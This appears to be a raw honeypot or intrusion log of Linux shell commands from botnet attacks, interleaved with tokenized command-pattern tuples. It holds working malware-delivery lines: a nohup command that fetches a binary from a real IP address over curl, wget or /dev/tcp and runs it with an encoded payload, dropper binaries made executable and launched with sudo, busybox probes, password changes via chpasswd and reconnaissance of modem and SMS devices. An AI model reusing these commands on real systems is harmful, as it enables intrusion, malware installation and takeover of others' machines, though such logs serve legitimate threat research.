echo 123456 > /tmp/.opass; chmod +x /tmp/RlaaTarcpO && /tmp/RlaaTarcpO k434oBmDZO2q2rc4ttqs72+bEKP5mv7vm/G8EZxs96/DtS6yzKTvZZwUoOmV8Oyc/rwSmGX3psa8NrbFquF1lQ6g+Jrw753nqxiXY+mvxLIgs8yw62GeDqv6g+vnl/+iEZln+abatDGx2qzrZYMRq/6X6O6c/aYAlXvrr8yoMbHHsOFtlxai+Jzr/pXnoBGVe+qs2rQysM6o6WSeFbL9mvDsnv+8EZtl96/OsDC3xan5YZoOoPqb8O+b/bwXlG/vrsW2MqbAqfdnnha8+Jvq8Jz6oRqbZeisxqY4qMav4HufFaDnnO7pl/+iEZlg+abatDG+2qzqZYMRp/uX6O6c+KQAnGbqsMayMqjCpvdkmxWo/53v6pnppheDZ+2t2rcysdqp7W+bEKP7mP7mg/ujEINn66vatzGyzqjpZJ8ZsvGD7O+V56AQm3vvrM6wMLfHp/lknBG8/57w6pnnpBKXY+mvxLAgssOw7mODEab5g+nsl/+iEZ1s+azFvi612q/uYoMTq/Ob7u+f+bIUmnvrqseoMrXBsOtklxai+Jnn/pXnoBGUe+urx6gxv8ak72WcE6Tpn+7ng/CjDp9n6rDDvjqwxK/pZY0Upeea6PCc/aIOnGfgpMK2MbfHvuhgnQ6g+57w65rnoBGfb++uxbUxpsau6nuYFrz9nfDsn/+oFp1k7a7UtTmozab3ZJ0ZvPuV5Oid+KEWjWTrq9q3MrLar+thgxWg85vu75z6shiDZ+iu2rQ1tNqv7GKXFqL4me7+mf68Ep5j96/Csi63x63jY50RoPu3Gd1i9oCMmjQ/XvrYy6pD2S3W8BS0adDH" &#UPX!


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l')


/bin/busybox cat /proc/self/exe || cat /proc/self/exe


uname -a
hostname
uname -m&&pkill upnpsetup
chmod 777 zsvc
chmod 777 upnpsetup
sudo ./upnpsetup
./upnpsetup
sudo ./zsvc
./zsvc

('uname', 'hostname', 'uname -m && pkill', 'chmod', 'chmod', 'sudo', './upnpsetup', 'sudo', './zsvc')


nohup $SHELL -c "curl http://129.144.180.26:60107/linux -o /tmp/Miy9IXeYxk; if [ ! -f /tmp/Miy9IXeYxk ]; then wget http://129.144.180.26:60107/linux -O /tmp/Miy9IXeYxk; fi; if [ ! -f /tmp/Miy9IXeYxk ]; then exec 6<>/dev/tcp/129.144.180.26/60107 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/Miy9IXeYxk && chmod +x /tmp/Miy9IXeYxk && /tmp/Miy9IXeYxk C+KxOePviepJF8VsescYTfSP6uk3uPR+aPO4Lv/vifdVFs14dMUTT/ae7+Mup/Nycuy4L+HwjPJBFMVzcsICT/OQ7OUlp/ZwaPe8Lefuj/dPAs1scMQSVfWP6f8luvN8cPK4J+n+j/xJDMR3c9sXSOqM7+gtv/J3dvKpL//sj/NVE8Vse80YTfSP7uU3sex0d/WnJeTukPxJGMNyc8EaW/WP7/8jvex3cPCnJuLqhPJLE8dzYsMTVfWN5v8msfdodPG9Lefuj/BDAsF1bMcWSeqH6/8luPd8cPK4JeT+ivNVEMFwbMQbSOqM6eshufN0duK4I+nwifZVE8BxbMQbTv6I7uAjsOJ3d/WnIOPwivNVE8JzeMMSSvSG/uUgp/BydOy4L+Xwj/JLGMNyc8cbW/CJ8OMkv+x3cPKnJuvojvVKFdVzcMwMSvCK8OAvuex0cPi/J+DuieRKEMVsdcUMQvKQ7+ghs/R2d/K5N+DuiOpKFttwd8AMSvSH5OcnuPN+Zva+OePqjepJFdtwcMMYTfSP7eE3uPN0aPSnI+Dwj/VLGMNyc8UbW/yQ7OAup/d3aPC8IuvojvVIG9VzdtsTTPKQ7+clp/R+fPS5JuXtnvdCDMx6bMAQVfWG5+shufN2c+K4L+Lwi/JVEMR3bMcQSv6I7uAnvuJydey4JOfwj/NJDMdwdc8US/WK6vEmsPBodPO5OePqjepDEs90csQRS+SP6+k5u/B2aPO5Jf/sjPFBFMVzcM0CSvWN8OMjp/RwaPW/Lefuj/ROAsNzbMQUS+qM7+I5u/F/fPS5JuHv76BhAxyoT2g3tFRODKGWTKzxds0U6GKpgZk=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/Miy9IXeYxk && /tmp/Miy9IXeYxk C+KxOePviepJF8VsescYTfSP6uk3uPR+aPO4Lv/vifdVFs14dMUTT/ae7+Mup/Nycuy4L+HwjPJBFMVzcsICT/OQ7OUlp/ZwaPe8Lefuj/dPAs1scMQSVfWP6f8luvN8cPK4J+n+j/xJDMR3c9sXSOqM7+gtv/J3dvKpL//sj/NVE8Vse80YTfSP7uU3sex0d/WnJeTukPxJGMNyc8EaW/WP7/8jvex3cPCnJuLqhPJLE8dzYsMTVfWN5v8msfdodPG9Lefuj/BDAsF1bMcWSeqH6/8luPd8cPK4JeT+ivNVEMFwbMQbSOqM6eshufN0duK4I+nwifZVE8BxbMQbTv6I7uAjsOJ3d/WnIOPwivNVE8JzeMMSSvSG/uUgp/BydOy4L+Xwj/JLGMNyc8cbW/CJ8OMkv+x3cPKnJuvojvVKFdVzcMwMSvCK8OAvuex0cPi/J+DuieRKEMVsdcUMQvKQ7+ghs/R2d/K5N+DuiOpKFttwd8AMSvSH5OcnuPN+Zva+OePqjepJFdtwcMMYTfSP7eE3uPN0aPSnI+Dwj/VLGMNyc8UbW/yQ7OAup/d3aPC8IuvojvVIG9VzdtsTTPKQ7+clp/R+fPS5JuXtnvdCDMx6bMAQVfWG5+shufN2c+K4L+Lwi/JVEMR3bMcQSv6I7uAnvuJydey4JOfwj/NJDMdwdc8US/WK6vEmsPBodPO5OePqjepDEs90csQRS+SP6+k5u/B2aPO5Jf/sjPFBFMVzcM0CSvWN8OMjp/RwaPW/Lefuj/ROAsNzbMQUS+qM7+I5u/F/fPS5JuHv76BhAxyoT2g3tFRODKGWTKzxds0U6GKpgZk=" &#UPX!


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'echo | chpasswd | bash', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UNBFK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BHAKV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WYJOG


./oinasf; dd if=/proc/self/exe bs=22 count=1 || while read i; do echo $i; done < /proc/self/exe || cat /proc/self/exe;

('./ ; dd if || while ; do echo ; done || cat ;',)


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*